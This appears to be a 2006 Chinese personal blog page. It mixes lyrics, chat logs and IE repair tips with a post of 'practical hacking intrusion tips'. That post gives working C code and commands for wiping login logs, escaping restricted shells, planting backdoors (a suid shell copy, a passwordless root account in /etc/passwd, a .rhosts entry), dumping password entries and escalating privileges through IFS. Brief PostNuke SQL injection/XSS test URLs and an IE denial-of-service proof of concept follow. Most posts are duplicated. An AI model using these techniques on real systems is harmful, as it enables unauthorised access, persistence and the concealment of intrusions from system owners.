发博文
个人资料
evilzy
evilzy
  • 博客等级:
  • 博客积分:100
  • 博客访问:4,029
  • 关注人气:0
图片播放器
留言
加载中…
博文
(2006-06-22 09:44)
分类: 胡思乱想
去了趟复旦,刚开始进去还觉得没什么,现在居然有些舍不得,尤其是那些我还没有做安全检测的代码,不过老实说,我不大懂,没JAVA看得那么溜
刚进校门的时候,看见了一个人长的很像林林,超像 [flower] 然后实验室里那个黄色衣服的哥哥感觉很像他,这也是为什么当时我想用漏洞提醒他给他自己编的程序作测试的原因(嘿~要知道,我有个很不好的习惯,通常在别人面前我乐意当电脑白痴) [bad] <img src=" />
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
分类: 技术天堂
黑客入侵实用技巧7则

1、upload

侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
root 状 态 下, 运 行 install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "this program will upload up.txt ascii file to specified file\n" );
printf( "xxx copyright reserved\n" );
printf( "where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
file *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== null ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}

2、破坏现场

进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:

#include
#include
#include
#include
#include
#include
#include
#include
#define wtmp_name "/usr/adm/wtmp"
#define utmp_name "/etc/utmp"
#define lastlog_name "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(utmp_name,o_rdwr))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), seek_cur);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1l;
if ((f=open(wtmp_name,o_rdwr))>=0) {

while(pos != -1l) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),l_xtnd);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1l;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),l_xtnd);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1l;
} else pos += 1l;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=null) {

if ((f=open(lastlog_name, o_rdwr)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("zap2!\n");
} else
printf("error.\n");
}

3、突破shell

许多攻击系统的方法都需要攻击者首先有一个命令行式的shell,如 /bin/csh 。但有些系统提供给用户的却是菜单式的定制shell,如 pink 。所以如果你想攻击这个系统的话,首先必须要冲破这个定制shell。
我们可以利用 vi (unix中标准的编辑器) 的一些命令来达到这个目的。具体过程如下:
(1).在定制shell中选择编辑文件,这时系统启动 vi。
(2).在 vi 中,输入以下命令序列注意:输入的命令包括最前面的 ":" )
:set shell=/bin/csh
:shell
3.这时,就像在dos程序的file菜单中选择dos shell菜单项一样,系统启动一个shell,而这个shell刚刚被我们设定成 /bin/csh,因此我们就得到了一个命令行式的unix shell。

4、后门

进入一个系统以后随手留下一个后门确实是很好的习惯 这里介绍几种简单的后门设置方法:
(1). setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简单方便.
(2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 id 为 0(root)的帐号,无口令.
(3). echo "+ wyj">>/.rhosts
即本地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令,不知道的人是不能进去的.前提是目标的port 512or513or514 opening.

5、用telnet上传文件

如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
方法很简单:
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子:
begin 644 file.bat
m.c!j95@t92tp,#503u!=:%=e6#5d9%!>,2q&1d9&1c$l1d9&,2pt4%]j
m95@t85!9+7@m04%28#!@*ctp,"500d])04%!049+04]"4$e$34-"04q%04i-
m3d-"2d%,24%!14u-3d-"1d5"24=&0t%%3d="1t1(0t=02$="2da#2$9(1$-!
m1ti(1$-!1t1"4$=.1ti"3t=(0t%#3t-/0t]#3t-/0t]!3d%+0t5!07%q<7$@
m"d!%0ta/($]&1b`*0t]062`e,"y"050@+t(@0si<0d%45de2+d-/32`o0b`o
e62`*0si<0d%45de2+d-/32`*1$5,($,z7$)!5%9)4by#3tt@"@``
`
end
sum -r/size 17903/262
全部都是可见的ascii字符了
2.用telnet连接到主机后输入
$ cat >a
然后用winodws的拷贝/粘贴,把文件粘贴到telnet窗口
按^d
在当前目录下产生文件a
3.uudecode a
文件复原,然后chmod即可

6、破解shadow

很多系统下写一个小程序不停的调用getpwent() 函数便能得到没有shadow过的密码档
#include
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

7、从suid脚本或程序中得到root

(1).如果该程序中有包含一个类似下面的数据:
system("/bin/date")
这时你可以把自己的ifs改为"/":
ifs="/";export ifs # bourne shell
setenv ifs "/" # c shell
export ifs="/" # korn shell

这时你只要有一个你自己的软件路径调用了"bin",suid程序就会运行你的程序,并代替/bin/date

1、upload

侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
root 状 态 下, 运 行 install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "this program will upload up.txt ascii file to specified file\n" );
printf( "xxx copyright reserved\n" );
printf( "where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
file *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== null ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}

2、破坏现场

进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:

#include
#include
#include
#include
#include
#include
#include
#include
#define wtmp_name "/usr/adm/wtmp"
#define utmp_name "/etc/utmp"
#define lastlog_name "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(utmp_name,o_rdwr))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), seek_cur);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1l;
if ((f=open(wtmp_name,o_rdwr))>=0) {

while(pos != -1l) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),l_xtnd);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1l;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),l_xtnd);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1l;
} else pos += 1l;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=null) {

if ((f=open(lastlog_name, o_rdwr)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("zap2!\n");
} else
printf("error.\n");
}

3、突破shell

许多攻击系统的方法都需要攻击者首先有一个命令行式的shell,如 /bin/csh 。但有些系统提供给用户的却是菜单式的定制shell,如 pink 。所以如果你想攻击这个系统的话,首先必须要冲破这个定制shell。
我们可以利用 vi (unix中标准的编辑器) 的一些命令来达到这个目的。具体过程如下:
(1).在定制shell中选择编辑文件,这时系统启动 vi。
(2).在 vi 中,输入以下命令序列注意:输入的命令包括最前面的 ":" )
:set shell=/bin/csh
:shell
3.这时,就像在dos程序的file菜单中选择dos shell菜单项一样,系统启动一个shell,而这个shell刚刚被我们设定成 /bin/csh,因此我们就得到了一个命令行式的unix shell。

4、后门

进入一个系统以后随手留下一个后门确实是很好的习惯 这里介绍几种简单的后门设置方法:
(1). setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简单方便.
(2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 id 为 0(root)的帐号,无口令.
(3). echo "+ wyj">>/.rhosts
即本地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令,不知道的人是不能进去的.前提是目标的port 512or513or514 opening.

5、用telnet上传文件

如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
方法很简单:
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子:
begin 644 file.bat
m.c!j95@t92tp,#503u!=:%=e6#5d9%!>,2q&1d9&1c$l1d9&,2pt4%]j
m95@t85!9+7@m04%28#!@*ctp,"500d])04%!049+04]"4$e$34-"04q%04i-
m3d-"2d%,24%!14u-3d-"1d5"24=&0t%%3d="1t1(0t=02$="2da#2$9(1$-!
m1ti(1$-!1t1"4$=.1ti"3t=(0t%#3t-/0t]#3t-/0t]!3d%+0t5!07%q<7$@
m"d!%0ta/($]&1b`*0t]062`e,"y"050@+t(@0si<0d%45de2+d-/32`o0b`o
e62`*0si<0d%45de2+d-/32`*1$5,($,z7$)!5%9)4by#3tt@"@``
`
end
sum -r/size 17903/262
全部都是可见的ascii字符了
2.用telnet连接到主机后输入
$ cat >a
然后用winodws的拷贝/粘贴,把文件粘贴到telnet窗口
按^d
在当前目录下产生文件a
3.uudecode a
文件复原,然后chmod即可

6、破解shadow

很多系统下写一个小程序不停的调用getpwent() 函数便能得到没有shadow过的密码档
#include
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

7、从suid脚本或程序中得到root

(1).如果该程序中有包含一个类似下面的数据:
system("/bin/date")
这时你可以把自己的ifs改为"/":
ifs="/";export ifs # bourne shell
setenv ifs "/" # c shell
export ifs="/" # korn shell

这时你只要有一个你自己的软件路径调用了"bin",suid程序就会运行你的程序,并代替/bin/date
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
分类: 技术天堂
5招避免遭受IE漏洞攻击dcom属性设置错误

日常使用中,ie庞大的使用人群和层出不穷的高危漏洞,使它往往很容易受到来自各方面的影响和攻击而导致失效。而由于卸载的不便和难以通过覆盖安装解决问题,因此很多朋友在面对此问题时往往选择了格式化硬盘重装系统或通过第三方备份软件进行恢复,这无疑为大家的网上生活制造了巨大的障碍和麻烦。其实很多时候ie内核并无受损,只是由于部分数据链文件因种种原因注册失效而导致或相关软件设置不当而造成的。下面是近几年来笔者在实际使用过程中总结出的部分经验,希望能为有需要的朋友一解燃眉之急。

  1.在windows 2000/xp/2003中,先通过“控制面板”中的“internet选项”删除cookies,然后在“开始→运行”窗口中输入“regsvr32 actxprxy.dll”,点击确定后会出现一个标识为“dllregisterserver in actxprxy.dll succeeded”的信息对话框,点击确定。再次打开“运行”窗口,依次输入“regsvr32 shdocvw.dll、regsvr32 mshtml.dll、regsvr32 urlmon.dll、regsvr32 oleaut32.dll、regsvr32 shdocvw.dll、regsvr32 browseui.dll、regsvr32 msjava.dll、regsvr32 actxprxy.dll和comctl32.dll”并确定。如果大家觉得麻烦,可直接建立一个批处理文件,其中内容为“for %1 in(%windir%\system32\*.dll)do regsvr32.exe/s %1”(不含双引号),执行后重启计算机若仍无法打开ie窗口,则再次输入regsvr32 shell32.dll。如果在注册中显示出错或无效信息,则很可能是相关文件在病毒攻击/非正常关机中受损或在升级ie或操作系统时被替换成有诟病的版本。这时可从windows安装光盘中的cab压缩包或安装有相同操作系统的另一台计算机中提取comctl32.dll和oleaut32.dll并覆盖现有文件。

  2.dcom属性设置错误。按照“开始→输入dcomcnfg→组建服务→计算机→我的电脑→dcom配置→internet explorer(ver 1.0)→安全→启动和激活权限→自定义→编辑”(如图),察看启动权限中有无interactive和system,如果没有的话则需自行添加。
卸载3721网上助手   
3.上两点方法均只适用于windows 2000/xp/2003,如果这部分用户仍觉得过于繁琐,可以到http://xz.onlinedown.net/soft/14418.htm下载第三方“ie删除软件”进行ie卸载,使用windows98/98sec/me的朋友也可以通过http://www.skycn.com/soft/4914.html的ieradicator v6.0一了心愿。由于它们能够干净利落地将包括所有注册表信息在内的一切ie顽疾全部清除,因此在卸载后便能轻松重装任何版本的ie。另外也可直接将windows光盘插入光驱,在“开始→运行”窗口输入“rundll32 setupapi,installhinfsection defaultinstall 132 c:\windows\inf\ie.inf”命令,确认后系统会自动重装ie6.0,但这种方法只适用于装有ie6.0以下版本的用户,原因很简单:windows还不够聪明。

  4.这个不是办法的办法比较适合于“网虫型的懒人们”,但前提是不能卸载病重的ie,说到这里大家应该都明白了吧,那就是安装诸如myie、greenbrowser这些基于ie内核的浏览器。当然,投奔netscape 阵营也是不错的办法,那样还能在浏览的同时通过卸载ie获得宝贵的数十兆空间。  

  5.如果无法打开ie的现象发生在升级到windows xp sp2后,卸载3721网上助手也许会令你紧皱的眉头舒缓开来。别担心,sp2已经内置了各类高效的网络广告和控件拦截程序,这甚至成为笔者升级它的主要目的之一。

日常使用中,ie庞大的使用人群和层出不穷的高危漏洞,使它往往很容易受到来自各方面的影响和攻击而导致失效。而由于卸载的不便和难以通过覆盖安装解决问题,因此很多朋友在面对此问题时往往选择了格式化硬盘重装系统或通过第三方备份软件进行恢复,这无疑为大家的网上生活制造了巨大的障碍和麻烦。其实很多时候ie内核并无受损,只是由于部分数据链文件因种种原因注册失效而导致或相关软件设置不当而造成的。下面是近几年来笔者在实际使用过程中总结出的部分经验,希望能为有需要的朋友一解燃眉之急。

  1.在windows 2000/xp/2003中,先通过“控制面板”中的“internet选项”删除cookies,然后在“开始→运行”窗口中输入“regsvr32 actxprxy.dll”,点击确定后会出现一个标识为“dllregisterserver in actxprxy.dll succeeded”的信息对话框,点击确定。再次打开“运行”窗口,依次输入“regsvr32 shdocvw.dll、regsvr32 mshtml.dll、regsvr32 urlmon.dll、regsvr32 oleaut32.dll、regsvr32 shdocvw.dll、regsvr32 browseui.dll、regsvr32 msjava.dll、regsvr32 actxprxy.dll和comctl32.dll”并确定。如果大家觉得麻烦,可直接建立一个批处理文件,其中内容为“for %1 in(%windir%\system32\*.dll)do regsvr32.exe/s %1”(不含双引号),执行后重启计算机若仍无法打开ie窗口,则再次输入regsvr32 shell32.dll。如果在注册中显示出错或无效信息,则很可能是相关文件在病毒攻击/非正常关机中受损或在升级ie或操作系统时被替换成有诟病的版本。这时可从windows安装光盘中的cab压缩包或安装有相同操作系统的另一台计算机中提取comctl32.dll和oleaut32.dll并覆盖现有文件。

  2.dcom属性设置错误。按照“开始→输入dcomcnfg→组建服务→计算机→我的电脑→dcom配置→internet explorer(ver 1.0)→安全→启动和激活权限→自定义→编辑”(如图),察看启动权限中有无interactive和system,如果没有的话则需自行添加。
卸载3721网上助手   
3.上两点方法均只适用于windows 2000/xp/2003,如果这部分用户仍觉得过于繁琐,可以到http://xz.onlinedown.net/soft/14418.htm下载第三方“ie删除软件”进行ie卸载,使用windows98/98sec/me的朋友也可以通过http://www.skycn.com/soft/4914.html的ieradicator v6.0一了心愿。由于它们能够干净利落地将包括所有注册表信息在内的一切ie顽疾全部清除,因此在卸载后便能轻松重装任何版本的ie。另外也可直接将windows光盘插入光驱,在“开始→运行”窗口输入“rundll32 setupapi,installhinfsection defaultinstall 132 c:\windows\inf\ie.inf”命令,确认后系统会自动重装ie6.0,但这种方法只适用于装有ie6.0以下版本的用户,原因很简单:windows还不够聪明。

  4.这个不是办法的办法比较适合于“网虫型的懒人们”,但前提是不能卸载病重的ie,说到这里大家应该都明白了吧,那就是安装诸如myie、greenbrowser这些基于ie内核的浏览器。当然,投奔netscape 阵营也是不错的办法,那样还能在浏览的同时通过卸载ie获得宝贵的数十兆空间。  

  5.如果无法打开ie的现象发生在升级到windows xp sp2后,卸载3721网上助手也许会令你紧皱的眉头舒缓开来。别担心,sp2已经内置了各类高效的网络广告和控件拦截程序,这甚至成为笔者升级它的主要目的之一。
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
分类: 漏洞公告
PostNuke输入验证漏洞
影响系统
PostNuke Development Team PostNuke 0.76 RC2

PostNuke不充分过滤用户提交的URI数据,远程攻击者可以利用漏洞进行SQL注入或跨站脚本攻击,获得敏感信息。
问题是多个模块对用户提交的'catid'和'sid'参数缺少过滤,提交恶意SQL查询作为参数数据,可更改原来的SQL逻辑,获得敏感信息。
另外提交恶意脚本代码作为参数数据,可导致跨站脚本攻击。

测试方法
http://www.example.com/path/modu ... le=index&catid=[SQL]
http://www.example.com/path/modu ... le=article&sid=[SQL]

http://www.example.com/path/modu ... le=index&catid=[XSS]
http://www.example.com/path/modu ... le=article&sid=[XSS]
http://www.example.com/path/modu ... _Calendar&file=[XSS]

目前没有解决方案提供,请关注以下链接:
http://www.postnuke.com/
影响系统
PostNuke Development Team PostNuke 0.76 RC2

PostNuke不充分过滤用户提交的URI数据,远程攻击者可以利用漏洞进行SQL注入或跨站脚本攻击,获得敏感信息。
问题是多个模块对用户提交的'catid'和'sid'参数缺少过滤,提交恶意SQL查询作为参数数据,可更改原来的SQL逻辑,获得敏感信息。
另外提交恶意脚本代码作为参数数据,可导致跨站脚本攻击。

测试方法
http://www.example.com/path/modu ... le=index&catid=[SQL]
http://www.example.com/path/modu ... le=article&sid=[SQL]

http://www.example.com/path/modu ... le=index&catid=[XSS]
http://www.example.com/path/modu ... le=article&sid=[XSS]
http://www.example.com/path/modu ... _Calendar&file=[XSS]

目前没有解决方案提供,请关注以下链接:
http://www.postnuke.com/
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
分类: 漏洞公告
Microsoft IE Frameset远程拒绝服务漏洞

测试方法:
1) exploit_1.html
<frameset cols="0%, *">
<frame src="exploit_2.html">
</frameset>

2) exploit_2.html
<script>
self.resizeTo(2003, 1228);
</script>

测试方法:
1) exploit_1.html
<frameset cols="0%, *">
<frame src="exploit_2.html">
</frameset>

2) exploit_2.html
<script>
self.resizeTo(2003, 1228);
</script>
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
(2006-06-22 09:32)
分类: 胡思乱想
歌手:Rob Thomas 专辑:Something To Be
Rob Thomas - Lonely No More

Now it seems to me
That you know just what to say
But words are only words
Can you show me something else

Can you swear to me that you'll always be this way?
Show me how you feel
More than ever baby

Well I don't want to be lonely no more
I don't want to have to pay for this
I don't want another lover at my door
It's just another heartache on my list
I don't wanna be angry no more
You're the one who could never stand for this
So when you tell me that you love me, know for sure
I don't wanna be lonely anymore

Ooooh Oooooh Oooooh Ooooh
Now it's hard for me
When my heart's still on the mend
Open up to me
Like you do your girlfriends
And you sing to me
And it's harmony
Girl what you do to me is everything
Let me say anything just to get you back again
Why can't we just try?
I don't want to be lonely no more
I don't want to have to pay for this
I don't want another lover at my door
It's just another heartache on my list
I don't wanna be angry no more
You're the one who could never stand for this
So when you tell me that you love me, know for sure
I don't wanna be lonely anymore
Ooooh Oooooh Oooooh Ooooh
What if I was good to you?
What if you were good to me?
What if I could hold you
till I feel you move inside of me?
What if it was paradise?
What if we were symphonies?
What if I gave all my life
to find some way to stand beside you?
I don't want to be lonely no more
I don't want to have to pay for this
I don't want another lover at my door
It's just another heartache on my list
I don't wanna be angry no more
You're the one who could never stand for this
So when you tell me that you love me, know for sure
I don't wanna be lonely any more
Ooooh Oooooh Oooooh Ooooh
I don't wanna be lonely any more
I don't wanna be lonely no more
I don't wanna be lonely no more
I don't wanna be lonely any more
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
(2006-06-22 09:31)
分类: 混乱生活
雷锋偷我的猪(312620390) 18:53:42
那她一定有事
深深深蓝(3069700) 18:53:59
难道是拉肚子?
深深深蓝(3069700) 18:54:03

雷锋偷我的猪(312620390) 18:54:07
哈哈哈
深深深蓝(3069700) 18:54:14
拉肚子……
雷锋偷我的猪(312620390) 18:54:15
别扯了
雷锋偷我的猪(312620390) 18:54:27
呵呵
深深深蓝(3069700) 18:54:27
那你说呢~
雷锋偷我的猪(312620390) 18:54:32

雷锋偷我的猪(312620390) 18:54:44
你加他试试
雷锋偷我的猪(312620390) 18:54:53
加她为好友
深深深蓝(3069700) 18:54:53
不~
深深深蓝(3069700) 18:54:58
才不~
雷锋偷我的猪(312620390) 18:55:05
那就没发了
雷锋偷我的猪(312620390) 18:55:19
她是男的女的?
深深深蓝(3069700) 18:55:28
叔叔~是女的~
深深深蓝(3069700) 18:55:33
大美女~
雷锋偷我的猪(312620390) 18:55:39

深深深蓝(3069700) 18:55:43
昊叔叔是女的
雷锋偷我的猪(312620390) 18:55:48
那我没办法了
深深深蓝(3069700) 18:55:47
嘿嘿
深深深蓝(3069700) 18:55:59
那你色诱一下
雷锋偷我的猪(312620390) 18:55:59
呵呵
雷锋偷我的猪(312620390) 18:56:09
你们怎马管她叫叔叔
雷锋偷我的猪(312620390) 18:56:15
我才16
雷锋偷我的猪(312620390) 18:56:30
我色的过她吗
深深深蓝(3069700) 18:56:39
他说人家叫他大姨妈他都听逆了~
深深深蓝(3069700) 18:56:50
嘿~
深深深蓝(3069700) 18:56:54
昊叔叔
雷锋偷我的猪(312620390) 18:57:10
服 了
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
(2006-06-22 09:30)
分类: 混乱生活
宋思语 21:09:03
对了你在那学的玩电脑那么好啊
深深深蓝 21:09:02
优化大师里好象有
宋思语 21:09:22
那个不管我试了!
宋思语 21:09:48
我很崇拜你哦
深深深蓝 21:09:51
嘿~我相公教我的,我相公叫冰血封情
深深深蓝 21:09:55
不客气
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
(2006-06-22 09:29)
分类: 混乱生活
小许说我的电脑水平是始料未及的差~突然很伤心,而且他嫌我笨都生气了~
我的基础不好,所以以后要认真研究操作系统的各方面
清除注册表中的木马:注意注册表中“HKEY-LOCAL-MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENVERSION和HKEY-CURRENT-USER\SOFTWARE\MIcrosoft\Windows\CurrentVersion"下的所有以RUN开头的键名,观察其下有没有可疑的文件名。如果有就删除相应的键值,再删除相应的应用程序
我也知道啊,还是我教爱国大美女的方法~可总希望他能详细的说什么才是可疑,但他不耐烦了~其实我也有做的不对的地方,比如说以后换个脾气好的人问问题~
因为电脑的故障,今天都没有去馆里作揄珈,明天上午还要回医院复查~还要被大TT拖去打耳眼儿~我的耳垂那叫相~当~的厚^_^*我比画了半天,发现左边比右边小小薄一些~好~明天只穿左耳~
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
(2006-06-22 09:28)
分类: 胡思乱想
歌手:陈慧琳 专辑:我是阳光的

暗想从前阴雨天
你的伞留下了思念
今夜你不在我身边
爱在断桥边也无法了断
不管多波折多么难
我心依然
爱瞬间痛了一千年
说声再见心盘起
缠绵眷恋千百般
变得温暖谁还叹
人一生短暂
守着那知己
看不见人世间纷繁
今生和你并肩
就要你作伴
今生和你作伴
woh守着那知己
阅读  ┆ 评论  ┆ 转载 ┆ 收藏 
  

新浪BLOG意见反馈留言板 不良信息反馈 电话:4006900000 提示音后按1键(按当地市话标准计费) 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 会员注册 | 产品答疑

新浪公司 版权所有